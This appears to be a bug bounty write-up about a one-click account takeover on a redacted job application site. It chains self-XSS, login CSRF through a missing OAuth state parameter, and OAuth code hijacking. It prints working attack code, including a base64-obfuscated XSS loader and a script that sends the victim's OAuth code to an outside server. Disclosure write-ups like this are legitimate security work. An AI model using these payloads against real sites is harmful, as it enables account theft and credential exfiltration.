BOOK THIS SPACE FOR AD
ARTICLE ADبسم الله الرحمن الرحيم
I discovered an intriguing account takeover vulnerability in a private bug bounty program. It involved chaining multiple bugs and misconfigurations to successfully achieve ATO.
The target is a job application web app where users can upload their CVs, apply for various job postings, and customize the messages sent to recruiters.
The platform has a WAF in place that blocks any <[a-zA-Z]> payloads, with no known way to bypass it. Fortunately, the mobile app doesn’t use the WAF. This allowed for self-XSS, but attempts to chain CSRF login + self-XSS + OAuth code hijacking failed because the login process is protected with a CAPTCHA and CSRF tokens.
The state parameter in the OAuth callback is designed to protect against CSRF attacks. However, in this case, the state parameter is missing, which means I can force the victim to log into my account.
Now we have all the ingredients to steal the victim’s OAuth code.
We provide the target with our OAuth code to log into our account.Then, we redirect them to the page containing the stored XSS payload.The payload initiates a new OAuth flow to log into the victim’s account using their Gmail address, forcing a non-happy path by adding an invalid state parameter to prevent the web app from consuming the code.Finally, the OAuth code is captured using the XSS and sent to our server.PoC.html this hosted on our server and send it to the victim:
<script>
w = window.open('https://www.redacted.com/redacted/googlecallback?code=[ATTACKER CODE]&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+openid&authuser=0&prompt=none');
// redirecting the victim to the XSS page
setTimeout(function() {
w.location.href = 'https://www.redacted.com/redacted/redacted.html#my-applications';
}, 4000);
The xss payload:
<img src="x" id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vc2F6b3VraS5jb20vcG9jLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw" onerror="eval(atob(this.id))">// base64 is: var a=document.createElement("script");a.src="https://sazouki.com/poc.js";document.body.appendChild(a);
The payload in poc.js:
w = window.open("https://accounts.google.com/o/oauth2/v2/auth?redirect_uri=https://www.redacted.com/recated/googlecallback&response_type=code&client_id=redacted-redacted.apps.googleusercontent.com&scope=https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/userinfo.profile&approval_prompt=force&state=[INVALID STATE]");setTimeout(function() {
fetch('https://sazouki.com/?c='+w.location.href);
}, 3000);
That will a 1 click ATO